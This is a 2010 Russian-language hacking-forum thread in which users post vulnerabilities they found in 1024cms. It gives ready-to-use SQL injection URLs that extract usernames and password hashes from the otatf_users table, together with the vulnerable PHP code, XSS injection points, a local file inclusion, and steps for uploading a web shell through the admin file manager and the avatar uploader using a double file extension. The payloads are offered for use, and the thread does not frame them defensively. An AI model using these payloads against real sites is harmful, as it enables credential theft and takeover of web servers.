1024cms

Discussion in 'Веб-уязвимости' started by Root-access, 13 Mar 2010.

  1. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Сайт: www.1024cms.org
    Префикс таблиц по умолчанию: otatf_
    Алгоритм хеширования: md5($pass)
    SQLi
    Движок просто кишит инъекциями и другими уязвимостями. Кстати, он отказывается работать при register_globals=on, это видимо у них предосторожность такая...) Поскольку в противном случае число уязвимостей удвоится.
    В модуле форума:
    Code:
    http://localhost/1024/index.php?p=viewforum&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2)))--+
    Уязвимая строчка в 1024\pages\viewforum\default\content.php:
    PHP:
    ...
    $get_cat_type mysql_query("SELECT * FROM ".$prefix."subcats WHERE id='".$id."'") or die("Cannot get category type: ".mysql_error());
    ...
    В RSS: //Плин, теперь нагуглил, что бага старая, но пусть будет
    Code:
    http://localhost/1024/rss.php?t=vp&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2)))--+
    Уязвимый участок \1024\rss.php:
    PHP:
    ...
    else if (
    $_GET['t'] == "vp") { 
        
    $topic_id $_GET['id']; 
         
        
    //Start RSS vars 
        
    $items = array(); 
        
    $channel = array(); 
         
        
    //Get topic 
        
    $get_tp mysql_query("SELECT t.uid AS t_uid, t.title AS t_title, t.content AS t_content, t.date AS t_date, f.id AS f_id, f.name AS f_name, f.description AS f_descrip FROM ".$prefix."topics t, ".$prefix."subcats f WHERE t.id='".$topic_id."' AND f.id=t.tid") or die("Cannot get TP: ".mysql_error());
    ...
    В различных служебных скриптах: //таких инъекций в этом движке, похоже, тучи, как и подобных скриптов
    Code:
    http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_it.php?cat='+union+select+1,concat(username,0x3b,password)+from+otatf_users--+
    Эта скуль очень приятная, запрос выполняется по циклу и выводятся все поля в теге <option>.
    Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_it.php:
    PHP:
    ...
    $get_cats = mysql_query("SELECT id, name FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get cats: ".mysql_error());
    ...
    <option value="<?php echo $cat['id']; ?>"><?php echo clean_smart($cat['name']); ?></option>
    ...
    Code:
    http://localhost/1024/pages/download/admin/ajax/sub/weight_sub.php?cat='+union+select+1,concat(username,0x3b,password),3+from+otatf_users--+
    Такая же приятная скуль, выдаёт красивый список.
    Уязвимый код в \1024\pages\download\admin\ajax\sub\weight_sub.php:
    PHP:
    ...
    <?php 
    $get_cat 
    mysql_query("SELECT id, name, weight FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get forums: ".mysql_error()); 
    while(
    $cat mysql_fetch_array($get_cat)) { 
    ?> 
        <li id="d_<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></li> 
    <?php ?>
    ...
    Code:
    http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_do.php?name=1&type=1&descrip&id=1'+and+sleep(10)--+
    Что-то в этой инъекции в UPDATE у меня вывод не получился, туплю где-то, можно перебором ломать, например, со SLEEP().
    Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_do.php:
    PHP:
    ...
    mysql_query("UPDATE ".$prefix."downloadsub SET category='".$_GET['cat']."', name='".quote_smart($_GET['name'])."', description='".quote_smart($desc)."' WHERE id='".$_GET['id']."'")
    ...
    Кстати у них в этих админских скриптах весьма оригинальная защита от доступа несанкционированного:
    PHP:
    if($_SESSION['type'] !== '1' || $_GET['type'] !== '1') die("Incorrect Session");
    Такая строчка там встречается очень часто, о чём думали разрабы, я не знаю.
    CE
    В админке есть разные варианты заливки шелла, например, через файловый менеджер:
    Code:
    http://localhost/1024/admin/index.php?op=files
     
    #1 Root-access, 13 Mar 2010
    Last edited: 23 Mar 2010
    9 people like this.
  2. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Code:
     
    
    echo "<br /><div align='center'><div class='plain_tables' style='width:90%; text-align:center'>".$_GET['confir']."</div></div>";
    
    

    Пассивная XSS В скрипте pages\cinema\ajax :(.Чет заблудился в коде я...).Переменная вообще не фильтруется.

    ЗЫ: Рядом,кстати,красивый апдейтик в базу происходит...И длина строки передаваемой не фильтруется(а надо оно или нет не знаю).Можно забить базу чем-нибудь...Получится из этого что-нибудь ?) длина поля int(11)))) (выходит 44 байта максимум - 11 * 4)

    ЗЫЗЫ: всё-таки последнее - имхо глупость)
     
    #2 Welemir, 21 Mar 2010
    Last edited: 21 Mar 2010
  3. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Забавную вещь нашёл в чате:).Не знаю,даже,как назвать - двойная xss,активная+пассивная,в общем,бред)):

    http://localhost/1024/index.php?p=pm&t=send&u=

    Вбиваем что-нибудь в поле Recipient(необязательно) и лицезреем всё увеличивающиеся куски хтмл кода.В поле Message получаем XSS при ставновлении окна активным )

    Сдаётся мне,дело в этом:

    PHP:

    <?php } if(isset($_GET['u']) && $_GET['u'] !== "") { ?>
    <script type="text/javascript">
        setTimeout("givemeausername()", 1000);
        function givemeausername() {
            document.getElementById('autocomplete').value = "<?php echo $_GET['u']; ?>";
        }

    setTimeout - функция ака таймер(или как системный таймер в NET),а задача любого такого таймера - выполнять процедуру в заданный промежуток времени ).Вот,она и выполняется - значению элемента с id autocomplete присваивается значение - как раз то,что мы передадим в GET переменной.В общем,весело :).Всякий знает,что javascript можно менять на стороне клиента(жалею,что нету инструментов).Думаю,будет весело увидеть это со скоростью 10 мс ))))).


    Код будет как раз в исходниках:

    Code:
    
    <script type="text/javascript">
    	setTimeout("givemeausername()", 1000);
    	function givemeausername() {
    		document.getElementById('autocomplete').value = "ТУТ";
    	}
    </script>
    
    
     
    #3 Welemir, 21 Mar 2010
    Last edited: 21 Mar 2010
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Активка:

    Потом в профайле срабатывает.

    LFI:

    Под админом надо быть.

    PHP:
    if(!isset($_GET['op']) || trim($_GET['op']) == ""$page "home";
    else 
    $page $_GET['op'];

    strtolower($page);

    if(isset(
    $_SESSION['admin']) || $page == 'login') {
        
    define("_AJAX_INCLUDE_""./ops/".$page."/ajax/ajax.js");
        include(
    "./lang/".$lang."/".$page."/default.php");
    Много искать не стал, на этом остановился
     
  5. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Пассивная XSS
    Скрипт: /admin/index.php

    Участок кода:

    PHP:

    if(isset($_SESSION['admin']) || $page == 'login') {
        
    define("_AJAX_INCLUDE_""./ops/".$page."/ajax/ajax.js");
        include(
    "./lang/".$lang."/".$page."/default.php");
        include(
    "../includes/header.php"); 
        include(
    "./themes/".$admin_theme_dir."/templates/header.tpl");
        include(
    "./ops/".$page."/default.php");
        include(
    "./themes/".$admin_theme_dir."/templates/footer.tpl");
    } [
    SIZE=2][COLOR=Red]else echo "<META http-equiv='refresh' content='0; URL=index.php?op=login&amp;f=".urlencode($_SERVER['REQUEST_URI'])."'>"[/COLOR];[/SIZE]
    Заливка шелла через аватары:

    Скрипт:
    PHP:
    http://localhost/1024/admin/index.php?op=avatars
    Необходимо только сменить расширение файла на extension.evil ,где evil - расширение шелла,а extension - расширение файла,например,test.gif.php

    Warning: В некоторых местах аплоада пофиксено,но там есть XSS ).

    P.S.: Необходимы права админа.
    ЗЫ: Аватары хранятся в папке /images/avatars/ директории /1024

    Остальное в пути ).За кривое оформление заранее извиняюсь,ибо не умею.


    Вот вся функция upload(),которая взаимодействует со скриптом аплоада аватара,кому интересно:

    PHP:

    function upload() {
        global 
    $admin_theme_dir;
        if(!isset(
    $_FILES['upload']) || trim($_FILES['upload']['tmp_name']) == "") echo "<meta http-equiv='refresh' content='0;URL=index.php?op=avatars'>";
        else {
            echo 
    "<div align='center'>";
            include(
    "../includes/classes/uploading.php");
            
    $upload $_FILES['upload'];
            
    $tmp_name $_FILES['upload']['tmp_name'];
            
    $name $_FILES['upload']['name'];
            
    $filepath "";
            if(
    is_uploaded_file($tmp_name)) {
                if(
    $_FILES['upload']['error'] == UPLOAD_ERR_OK) {
                    
    $path "../images/avatars/";
                    if(!
    is_dir($path)) die("Cannot find path: ".$path);
                    if(
    preg_match('(\.gif|\.png|\.jpg|\.jpeg)'$name)) {
                        
    $name $_FILES['upload']['name'];
                        
    $filepath $path.$name;
                        if(
    file_exists($filepath)) die("Avatar already exists, rename the image and try again");
                        if(
    move_uploaded_file($tmp_name$filepath)) {
                            
    define("_REDIRECT_""./index.php?op=avatars");
                            
    define("_CONTENT_"_CONFIRMED_);
                            include(
    "./themes/".$admin_theme_dir."/templates/successfulprocess.tpl");
                        } else die(
    "Cannot upload file, please try again");
                    } else die(
    "File Type not allowed. You can upload: .gif, .png, .jpg, .jpeg");
                } else echo 
    "ERROR:".file_error_check($_FILES['upload']['error']);
            } else die(
    "Error uploading file");
        }
        echo 
    "</div>";
    }

     
    #5 Welemir, 22 Mar 2010
    Last edited: 22 Mar 2010
    2 people like this.
  6. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Sql injection

    Скрипт:
    PHP:
    http://1024/admin/ops/email/default.php

    Обиженный параметр: id.Буквально в каждой функции(add,reply и т.д.).Наверное,это объясняется тем,что фильтрация там не нужна...в плане того,что админ акками никто не бросается ).




    Активная XSS

    Не помню,в каком скрипте,где-то на индексной странице скрипта /admin/index.php

    Прописывать код там,где выводится надпись по умолчанию: Sorry our site is currently offline for maintenance
     
    #6 Welemir, 22 Mar 2010
    Last edited: 23 Mar 2010